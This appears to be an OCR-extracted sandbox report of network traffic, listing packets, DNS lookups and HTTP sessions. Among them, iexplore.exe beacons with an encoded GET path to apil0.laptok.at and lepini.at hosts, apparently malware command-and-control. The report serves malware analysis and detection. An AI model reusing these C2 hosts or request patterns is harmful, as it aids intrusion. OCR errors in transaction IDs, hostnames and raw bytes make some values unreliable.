Feb 16, 2021 00:57:43.995333910 CET 49743 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.995357990 CET 49744 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.998039961 CET 443 49746 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.998146057 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.999053001 CET 443 49747 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.999150038 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.009326935 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.012562990 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.013133049 CET 49744 443 192.168.2.5 151.101.1.44
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 16, 2021 00:57:44.013667107 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.014271021 CET 49745 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.014836073 CET 49743 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.053493023 CET 443 49747 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.054366112 CET 443 49747 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.054410934 CET 443 49747 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.054445028 CET 443 49747 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.054461956 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.054507017 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.054517031 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.055998087 CET 443 49746 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.056387901 CET 443 49744 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.056936026 CET 443 49742 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.056979895 CET 443 49746 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057018042 CET 443 49746 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057048082 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057051897 CET 443 49746 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057071924 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057096958 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057538986 CET 443 49745 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057579994 CET 443 49744 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057619095 CET 443 49744 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057650089 CET 49744 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057652950 CET 443 49744 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057693005 CET 49744 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057708979 CET 49744 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.057930946 CET 443 49742 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.057984114 CET 443 49742 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.058007002 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.058022976 CET 443 49742 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:44.058047056 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.058073997 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:44.058106899 CET 443 49743 151.101.1.44 192.168.2.5

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Feb 16, 2021 00:57:26.964632034 CET 65447 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:27.017098904 CET 53 65447 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:27.933254004 CET 52441 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:27.990498066 CET 53 52441 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:28.666239023 CET 62176 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:28.723064899 CET 53 62176 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:28.931663036 CET 59596 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:28.983086109 CET 53 59596 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:30.470114946 CET 65296 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:30.521500111 CET 53 65296 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:32.132524967 CET 63183 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:32.183806896 CET 53 63183 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:33.100326061 CET 60151 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:33.161946058 CET 53 60151 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:34.534099102 CET 56969 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:34.594181061 CET 53 56969 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:35.912858009 CET 55161 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:35.972918034 CET 53 55161 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:36.203075886 CET 54757 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:36.256928921 CET 53 54757 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:36.714063883 CET 49992 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:36.732856989 CET 60075 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:36.762680054 CET 53 49992 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:36.791156054 CET 53 60075 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:38.673026085 CET 55016 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:38.732511997 CET 53 55016 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:39.038438082 CET 64345 53 192.168.2.5 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 16, 2021 00:57:39.089979887 CET 53 64345 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:39.146481991 CET 57128 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:39.203321934 CET 53 57128 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:41.178292990 CET 54791 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:41.249732018 CET 53 54791 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:41.777609110 CET 50463 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:41.837541103 CET 53 50463 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:42.410715103 CET 50394 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:42.469285011 CET 53 50394 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:42.693519115 CET 58530 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:42.750334978 CET 53 58530 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:43.861540079 CET 53813 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:43.900060892 CET 63732 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:43.918519974 CET 53 53813 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:43.957321882 CET 53 63732 8.8.8.8 192.168.2.5
Feb 16, 2021 00:57:56.681184053 CET 57344 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:57:56.730073929 CET 53 57344 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:04.484622002 CET 54450 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:04.538636923 CET 53 54450 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:05.501849890 CET 54450 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:05.561767101 CET 53 54450 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:05.586421967 CET 59261 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:05.637784004 CET 53 59261 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:06.499285936 CET 54450 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:06.502985954 CET 57151 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:06.551187038 CET 53 54450 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:06.559942007 CET 53 57151 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:06.589746952 CET 59261 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:06.639936924 CET 53 59261 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:07.588759899 CET 59261 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:07.645744085 CET 53 59261 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:08.510561943 CET 54450 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:08.561986923 CET 53 54450 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:09.589047909 CET 59261 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:09.646856070 CET 53 59261 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:12.522723913 CET 54450 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:12.576280117 CET 53 54450 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:13.600948095 CET 59261 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:13.651138067 CET 53 59261 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:16.728554964 CET 59413 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:16.782407999 CET 53 59413 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:16.868328094 CET 60516 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:16.925642967 CET 53 60516 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:19.172571898 CET 51649 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:19.224225044 CET 53 51649 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:22.373284101 CET 65086 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:22.426625013 CET 53 65086 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:24.521492004 CET 56432 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:24.582317114 CET 53 56432 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:27.735205889 CET 52929 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:27.792141914 CET 53 52929 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:30.190182924 CET 64317 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:30.250284910 CET 53 64317 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:30.977809906 CET 61004 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:31.036600113 CET 53 61004 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:53.241748095 CET 56895 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:53.306830883 CET 53 56895 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:53.920464993 CET 62372 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:53.974570990 CET 53 62372 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:54.488368988 CET 61515 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:54.550894022 CET 53 61515 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:54.642920971 CET 56675 53 192.168.2.5 8.8.8.8
Feb 16, 2021 00:58:54.704751968 CET 53 56675 8.8.8.8 192.168.2.5
Feb 16, 2021 00:58:55.417587996 CET 57172 53 192.168.2.5 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 16, 2021 00:58:55.474721909 CET 53 57172 8.8.8.8 192.168.2.5

Feb 16, 2021 00:58:56.630239964 CET 55267 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:58:56.689910889 CET 53 55267 8.8.8.8 192.168.2.5

Feb 16, 2021 00:58:56.934938908 CET 50969 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:58:56.994498968 CET 53 50969 8.8.8.8 192.168.2.5

Feb 16, 2021 00:58:57.903428078 CET 64362 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:58:57.960405111 CET 53 64362 8.8.8.8 192.168.2.5

Feb 16, 2021 00:58:58.608779907 CET 54766 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:58:58.657711029 CET 53 54766 8.8.8.8 192.168.2.5

Feb 16, 2021 00:58:59.624583960 CET 61446 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:58:59.684449911 CET 53 61446 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:00.751837969 CET 57515 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:00.808865070 CET 53 57515 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:01.297146082 CET 58199 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:01.347006083 CET 53 58199 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:05.809384108 CET 65221 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:05.809510946 CET 61573 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:05.860881090 CET 53 65221 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:05.868480921 CET 53 61573 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:06.059377909 CET 56562 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:06.116381884 CET 53 56562 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:06.879925013 CET 53591 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:06.939948082 CET 53 53591 8.8.8.8 192.168.2.5

Feb 16, 2021 00:59:07.428884983 CET 59688 53 192.168.2.5 8.8.8.8

Feb 16, 2021 00:59:07.477741957 CET 53 59688 8.8.8.8 192.168.2.5

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 16, 2021 00:57:36.203075886 CET 192.168.2.5 8.8.8.8 0xfc82 Standard query  www.msn.com A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:57:38.673026085 CET 192.168.2.5 8.8.8.8 0x7510 Standard query  web.vortex A (IP address) IN (0x0001)
(0) .data.msn.com

Feb 16, 2021 00:57:39.038438082 CET 192.168.2.5 8.8.8.8 0x3e36 Standard query  geolocatio A (IP address) IN (0x0001)
(0) n.onetrust.com

Feb 16, 2021 00:57:39.146481991 CET 192.168.2.5 8.8.8.8 0xc574 Standard query  contextual A (IP address) IN (0x0001)
(0) .media.net

Feb 16, 2021 00:57:41.178292990 CET 192.168.2.5 8.8.8.8 0xd60e Standard query  Ig3.media.net A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:57:41.777609110 CET 192.168.2.5 8.8.8.8 Oxeadl Standard query  hblg.media.net A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:57:42.410715103 CET 192.168.2.5 8.8.8.8 Ox6a74 Standard query  cvision.media.net A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:57:42.693519115 CET 192.168.2.5 8.8.8.8 0x922c Standard query  srtb.msn.com A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:57:43.861540079 CET 192.168.2.5 8.8.8.8 0x693c Standard query  img.img-ta A (IP address) IN (0x0001)
(0) boola.com

Feb 16, 2021 00:58:24.521492004 CET 192.168.2.5 8.8.8.8 0x7596 Standard query  apil0.laptok.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:58:27.735205889 CET 192.168.2.5 8.8.8.8 0xa8d0 Standard query  apil0.laptok.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:58:30.977809906 CET 192.168.2.5 8.8.8.8 0x39b1 Standard query  apil0.laptok.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:58:56.630239964 CET 192.168.2.5 8.8.8.8 0x2645 Standard query  c56.lepini.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:59:05.809384108 CET 192.168.2.5 8.8.8.8 Oxb3a4 Standard query  resolverl. A (IP address) IN (0x0001)
(0) opendns.com

Feb 16, 2021 00:59:05.809510946 CET 192.168.2.5 8.8.8.8 0x9475 Standard query  resolverl. A (IP address) IN (0x0001)
0) opendns.com

Feb 16, 2021 00:59:06.059377909 CET 192.168.2.5 8.8.8.8 0x515f Standard query  api3.lepini.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:59:06.879925013 CET 192.168.2.5 8.8.8.8 Oxalf6 Standard query  api3.lepini.at A (IP address) IN (0x0001)
(0)

Feb 16, 2021 00:59:07.428884983 CET 192.168.2.5 8.8.8.8 0xbf69 Standard query  api3.lepini.at A (IP address) IN (0x0001)
(0)

DNS Answers
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Timestamp Source IP

Feb 16, 2021
00:57:36.256928921
CET

Feb 16, 2021
00:57:38.732511997
CET

Feb 16, 2021
00:57:39.089979887
CET

Feb 16, 2021
00:57:39.089979887
CET

Feb 16, 2021
00:57:39.203321934
CET

Feb 16, 2021
00:57:41.249732018
CET

Feb 16, 2021
00:57:41.837541103
CET

Feb 16, 2021
00:57:42.469285011
CET

Feb 16, 2021
00:57:42.750334978
CET

Feb 16, 2021
00:57:42.750334978
CET

Feb 16, 2021
00:57:43.918519974
CET

Feb 16, 2021
00:57:43.918519974
CET

Feb 16, 2021
00:57:43.918519974
CET

Feb 16, 2021
00:57:43.918519974
CET

Feb 16, 2021
00:57:43.918519974
CET

Feb 16, 2021
00:58:24.582317114
CET

Feb 16, 2021
00:58:27.792141914
CET

Feb 16, 2021
00:58:31.036600113
CET

Feb 16, 2021
00:58:56.689910889
CET

Feb 16, 2021
00:59:05.860881090
CET

Feb 16, 2021
00:59:05.868480921
CET

Feb 16, 2021
00:59:06.116381884
CET

Feb 16, 2021
00:59:06.939948082
CET

Feb 16, 2021
00:59:07.477741957
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

HTTP Request Dependency Graph
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Trans ID

0xfc82

0x7510

0x3e36

0x3e36

0xc574

0xd60e

Oxeadl

Ox6a74

0x922c

0x922¢

0x693c

0x693c

0x693c

0x693c

0x693c

0x7596

0xa8d0

0x39b1

0x2645

0xb3a4

0x9475

0x515f

Oxalf6

0xbf69

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.msn.com

web.vortex
.data.msn.com

geolocatio
n.onetrust.com

geolocatio
n.onetrust.com

contextual
.media.net

Ig3.media.net

hblg.media.net

cvision.me
dia.net

srth.msn.com

www.msn.com

img.img-ta
boola.com

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

apil0.laptok.at

apil0.laptok.at

apil0.laptok.at

c56.lepini.at

resolverl.

opendns.com

resolverl.

opendns.com

api3.lepini.at

api3.lepini.at

api3.lepini.at

CName Address

www-msn-com.a-0003.a-
msedge.net

web.vortex.data.microsoft
.com

104.20.184.68

104.20.185.68

184.30.24.22
184.30.24.22
184.30.24.22
cvision.media.net.edgeke
y.net
WWW.msh.com
www-msn-com.a-0003.a-
msedge.net
tls13.taboola.map.fastly.n
et
151.101.1.44

151.101.65.44

151.101.129.44

151.101.193.44

34.65.144.159

34.65.144.159

34.65.144.159

34.65.144.159

208.67.222.222

208.67.222.222

34.65.144.159

34.65.144.159

34.65.144.159

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e apil0.laptok.at

e c56.lepini.at

e api3.lepini.at

HTTP Packets

Session ID Source IP
0 192.168.2.5

kBytes
Timestamp transferred
Feb 16, 2021 3327

00:58:24.642214060 CET

Feb 16, 2021 3344
00:58:25.133598089 CET

Session ID Source IP
1 192.168.2.5

kBytes
Timestamp transferred
Feb 16, 2021 3560

00:58:25.651309967 CET

Copyright null 2021

Source Port

49758

Direction

ouT

Source Port

49757

Direction

ouT

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/_2FdDLxiS/WGKmX1atNVWHXUCzdG8J/YXsTWM_2FhCnr7eTBeb/CqzmyNP6L4p0TKz6hJSAOp/EVM7LS
ru5RIn7/R3LRPhOs/N1MeBTFtHS9yRQ9IgLi_2B0/Xv3103JXIn/5RDWiXyGXXw_2B48v/Bn4AMZSvk3K_2/FR_2BMn
jaNV/ba9dKsrWc70pwt/DTOZilRktoMLB5X4VmjzW/q5zgF4LmzRrqKYzr/JnS7KhdMCD4PTt2/Znn_2FZbkdGdkZs
LPa/EqClaT3Se/sU1FyYCjIJQPDDxUFellF/dEZc5CjdmxNuQQbK7SZ/r4gzVmhDXHEM50FHIMuRad/iulOOUoXwDG2
R/FNY HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 15 Feb 2021 23:58:25 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9b 47 72 83 50 10 44 0f c4 82 9c 96 e4 9c 33 3b 32 08 10
88 0c a7 37 5e b9 5¢ b6 15 fe 9f €9 7e af ca 32 5a 92 58 bd ¢3 b3 ad 5f 41 52 ¢6 09 17 b1 36 d6 87 7b 19 67 96 45 82 56
ad 6a 44 6e 28 33 5e a6 77 10 c3 2d ea 6b 90 60 5f 0a 1d 88 64 ca 72 64 3f ad 1a el 7b 51 60 10 c8 64 6b 84 05 ed c1 8¢
2051 6a 52 11 7e b2 9e 3d 18 a6 b3 a6 56 61 a7 e5 a8 e5 63 87 16 01 32 fc 47 4b 15 a2 0a f9 51 ce 05 27 cc 42 9b c3 d4
5 b3 4b 35 64 92 02 40 7f 65 €3 d6 9c 1b a8 a6 51 3f 7e d4 d5 90 1f 4b d7 7 6d a0 cf ae 19 22 {7 51 c4 75 fc 9d da 7c 03
ea 45 73 63 4c cc Ob ff 0d 81 24 b7 39 9b 7b 78 69 ae 14 2b ec 74 f6 5b aa 78 e6 8f de 13 6d 35 9d 4d 8f c1 d1 df a5 f9 f2
c185a9 19 8c 64 a9 7c d2 c4 e2 7c 44 2e bd be db 84 54 b5 c4 87 93 94 35 3a ec e4 58 b5 52 5b 7a b3 2c 4d 19 bf cc ea
4d b4 f1 71 9a a2 5a 07 fO ef c1 bd 2d 5¢ ¢3 86 50 40 8e 80 48 19 87 8f 1c 8f 74 7c 26 2a c2 29 1f 40 18 14 a7 Ob 44 d0 39
7d 74 41 b1 f4 50 05 a3 ba fa 71 9b c4 0b 02 96 37 94 21 2e c2 2f 6a 98 ef 93 57 3f 95 c9 8f 3d cf 92 9b 07 20 20 2d 06 dO
69 ab b8 df 8d 28 ff b1 el b3 7e c9 44 4d 07 18 3e 80 d8 3e 77 7f 0d 64 3c aa d4 c3 ef 01 91 29 b3 33 32 b7 c5 18 ea ad
04 71 81 8a 9b 87 e7 40 69 0Oa 60 d7 ce 66 f5 b0 d8 2f 16 38 df 63 9f 4b e3 a6 b2 e0 7d 04 f3 f0 87 f4 fe 16 07 57 29 fd 42
60 08 74 Oe 5e 7b b1 al 56 8f 1c 38 63 9c 16 48 06 08 25 07 46 8c ee 8d 1e f5 11 4d 06 cO 6f 85 ef a7 96 5f 12 bb 82 22
3188 a4 51 fa 44 b0 cd c1 d7 47 df d5 0f 40 cd 9e 4 34 1c fd 93 9e €9 c6 c7 f8 07 ab Ob 89 c2 fa 64 84 e0 5a 10 el 31 02
€9 91 98 98 5b 92 12 d2 fc 1a 41 03 79 03 bb de bf 73 2f 22 1a 1a f1 48 f5 5e a8 67 d8 74 1f 84 ba bd 23 7b a2 e8 da 3e
ad a8 8e 61 04 20 e3 6¢ 7e Oc 47 c4 {3 0a ff 78 fd b8 20 3a al 48 e6 Oe 90 14 a4 61 81 5a 75 de c6 d7 36 ¢7 00 57 92 08
f149 03 b5 72 a2 f8 44 c4 e3 3a 7a €6 ee a2 €3 33 50 ba a6 81 27 63 dd 13 f8 53 66 27 8f 61 1e 16 Oc a5 8c 70 18 8f 60
26 al a2 d3 14 36 93 70 3b 64 da 52 44 8f a4 18 ca be 81 39 04 57 65 d1 b6 4d d8 f7 cc 68 61 a2 52 5¢ 2f 20 ea e7 d7 cf
3e f4 ab aa 43 69 c7 66 cb be cf 2f 70 2e 31 23 88 ad 10 7a e6 5a dd ef 69 e5 dd 88 4e f9 1c 4a 45 8b 7a 3f d4 9d 85 4e 3f
f2 94 b1 a8 80 5d 36 a5 f8 dd dd ae 36 23 ef ff 00 1d 14 d2 b9 5¢ 7c a5 9b 02 66 1f 7f 74 3a 40 ed 77 ab 38 25 10 01 14 5f
e2 8f bf d6 df 7e 20 b3 4b ad ee 62 66 c3 09 05 6e d1 95 75 6b 86 d5 b3 00 ca d1 4f b6 81 87 c1 ba c4 28 07 4c al 62 2¢
71 18 6e 49 d8 6d ce Of ea d3 97 a2 7b bf ba 89 61 0f f7 €0 42 b7 5d 19 71 7b 20 82 4b 68 20 ce c7 fe 1a 3b a5 78 37 d7
da d6 71 35 d7 c7 31 b5 46 34 38 97 1f fb 09 8a d9 c6 86 66 04 ac 14 f9 f7 19 66 04 77 e8 af 23 49 48 2c 94 82 a7 93 {7 52
2d 12 22 ac fa 3d c1 66 0f 08 c1 ae 15 34 12 b5 a7 7b 9b 1d 03 b5 b7 €3 40 a3 91 1d 94 6 a3 e5 €9 11 c4 91 75 bc 9f 2d
6b 8f fd Oc 2a b7 19 63 b8 f0 17 b3 9c 8e 60 b2 2e f8 3b 03 bd €5 07 c9 71 9b 50 46 81 d9 35 59 4e c7 44 07 25 7b e4 f9
c2 82 f0 fb 00 65 fa bb dc c5 05 05 74 bf 43 39 f1 a5 1e 8b 05 42 06 c9 7c 60 50 e4 2b a3 a4 2e 37 62 d3 dc 4d 7a 1e 8f 22
01 7d 19 87 3d 46 3c 4e 66 85 47 fe 95 7e 01 8a 2b 7c ca 9c 95 7f 8d c4 e4 fb 35 {7 30 fO

Data Ascii: 2000GrPD3;27M\~2ZX_AR6{gEV|Dn(3"w-k’_drd?{Q dk QjR~=Vac2GKQ'BK5d@eQ?~Km"Qu|EscL${xi+t[x
m5Md||D.T5:XR[z, MMgZ-\P@Ht|&*)@D9M*APq7!./jW?= -i(~DM>>wd<)32q@i f/8cK}W)B t"{V8cH%FMo_"1QDG@4dZ1[A
ys/"HAgt#{>a I~Gx :HaZu6WIrD:z3P'cSf'ap &6p;dRDI9WeMhaRV >Cif/p.1#zZiNJEz?N?]66#\|ft: @w8%_~ KbfnukO(
Lb,gnim{aB]q{ Kh ;x7q51F48ffw#IH,R-"=f4{@u-k*c".;qPF5YND%{etC9IB| P+.7bMz"}=F<NfG~+|50

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive
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kBytes
Timestamp transferred

Feb 16, 2021 3560
00:58:25.773550987 CET

Session ID Source IP
2 192.168.2.5

kBytes
Timestamp transferred
Feb 16, 2021 3562

00:58:27.859654903 CET

Feb 16, 2021 3565
00:58:28.289865971 CET

Session ID Source IP

3 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2021

Direction

IN

Source Port

49759

Direction

ouT

Source Port

49760

Direction

Data

HTTP/1.1 404 Not Found

Server: nginx

